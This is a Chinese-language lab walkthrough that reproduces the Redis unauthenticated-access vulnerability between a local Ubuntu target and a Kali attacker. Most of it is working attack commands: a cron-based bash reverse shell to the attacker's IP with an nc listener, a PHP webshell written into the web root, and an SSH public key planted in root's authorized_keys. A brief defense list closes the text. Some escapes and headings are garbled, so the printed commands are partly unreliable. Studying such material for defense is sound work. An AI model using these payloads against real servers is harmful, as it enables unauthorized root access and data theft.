Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
-
Redis是一个开源的、使用c语言编写的NoSQL数据库。
-
Redis基于内存运行并支持持久化(支持存储在磁盘),采用key-value(键值对)的存储形式,是目前分布式架构中不可或缺的一环。
-
Redis器程序是单进程模型
-
Redis服务在一台服务器上可以同时启动多个Redis进程,Redis的实际处理速度则是完全依靠于主进程的执行效率。若在服务器.上只运行一个Redis进程, 当多个客户端同时访问时,服务器的处理能力是会有一-定程度的下降;若在同一台服务器上开启多个Redis进程,Redis在提高并发处理能力的同时会给服务器的CPU造成很大压力。即:在实际生产环境中,需要根据实际的需求来决定开启多少个Redis进程
- redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
- 没有设置密码认证(默认为空),可以免密码远程登录redis服务。
- 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
- 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件(webshell);
- 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
靶机 Ubuntu :192.168.241.129
攻击机 kail: 192.168.241.128
Ubuntu下载安装最新redis
wget http://download.redis.io/releases/redis-6.2.7.tar.gz //简易使用低版本Redis
解压并进入redis目录,由于有makefile文件,直接使用make编译的方式进行安装
出现“It’s a good idea to run ‘make test’”说明安装成功
然后进入src目录将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
sudo cp redis-cli /usr/bin sudo cp redis-server /usr/bin
修改配置文件redis.conf
注释掉bind 127.0.0.1 ::1 //注释掉仅允许本地连接 将protected-mode设置为no, //保护关掉
然后将redis.conf拷贝到/etc/目录下
sudo cp redis.conf /etc/
使用/etc/目录下的reids.conf文件中的配置启动redis服务
sudo redis-server /etc/redis.conf //给redis-server服务root权限
表示启动成功
攻击机操作同靶机一样先进行安装
但是不需要修改配置文件,安装好之后进行漏洞复现
5.漏洞复现kali:检测目标6379端口是否开放
nmap -p 6379 -script redis-info 192.168.241.129 //-p 指定端口进行扫描
在攻击机上的Redis服务文件夹路径下使用 以下命令远程登录
./redis-cli -h 192.168.241.129 redis-cli -h 目标主机IP地址 -p 端口号
在Redis 默认没有配置密码的情况下可以直接成功连接目标Redis服务器,输入info查看版本信息
可以查看redis 存放路径
CONFIG GET dir
config get dir 获取redis用于文件持久化存储的路径 config get dbfilename 获取redis用于文件持久化存储的文件名 config set dir xxxx 修改路径 config set dbfilename xxx 修改文件名 savesave 命令是直接手动持久化内存中的数据
先开启监听
nc -lvp 44441.向目标写入任务计划,反弹shell
set x "n* * * * * bash -i >& /dev/tcp/192.168.241.128/4444 0>&1n" config set dir /var/spool/cron/ config set dbfilename root save
如果save出现(error) ERR
就是redis-server服务没有root权限
此时使用
ps -ef | grep redis //查找redis进程 然后sudo kill -9 pid把redis干掉 重新用sudo权限启动就可以了2.写入webshell
利用条件
- 靶机redis连接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证。
- 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。
- 我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件
Ubuntu要安装搭建PHP环境
指定目录的时候,目录要存在才不会报错,否则会报错
config set dir /var/www/html 设置web目录 config set dbfilename webshell.php 设置备份文件名 set shell "" 设置值 最好是写入: set shell "rnrnrnrn" 或set shell "rnrnrnrn" save 保存
在Ubuntu该目录下可以看到已经生成webshell.php
可以看到写入phpinfo可以成功访问
3.写入SSH公钥实现ssh登录利用条件:
- root权限
- 开启了ssh密钥登录,存在/etc/.ssh文件
首先在攻击机中生成ssh公钥(生成的内容在.ssh中)
kali进入:/root/.ssh目录
ssh-keygen -t rsa //两次要输入时,不写直接回车
将公钥写入到某个文件中,再复制到src目录下
(echo -e"n";cat id_rsa.pub;echo -e "n")>1.txt
cat 1.txt | redis-cli -h 192.168.241.129 -p 6379 -x set hack //将1.txt中的内容作为值写入到hack中 redis-cli -h 192.168.241.129 -p 6379 连接redis
config set dir /root/.ssh //更改redis备份路径为ssh公钥存放目录 config set dbfilename authorized_keys //设置上传公钥的备份文件名字为authorized_keys save //保存 exit //退出
注意,Ubuntu下没有./ssh目录,需要安装ssh
sudo apt-get install openssh-server //安装ssh /etc/init.d/ssh start //启动服务 /etc/init.d/ssh restart //重启服务 sudo su //切换root ssh-keygen //生成key,不用输入密码,两次直接回车
之后ll命令直接出现./ssh目录,该目录为隐藏目录,ls看不到
使用以下命令登录
ssh -i id_rsa root@192.168.241.129
建议靶机改为Centos,否则反弹shell失败 在Centos上使用,Ubuntu上行不通,原因如下: 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/6.防御方法权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/ 权限644也能执行 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错 由于系统的不同,crontrab定时文件位置也会不同: Centos的定时任务文件在/var/spool/cron/ Ubuntu定时任务文件在/var/spool/cron/crontabs/
1.禁止外部访问Redis服务端口;
2.禁止使用root权限启动redis服务;
3.配置安全组,限制可连接Redis服务器的IP;
4.设置密码,开启防火墙。



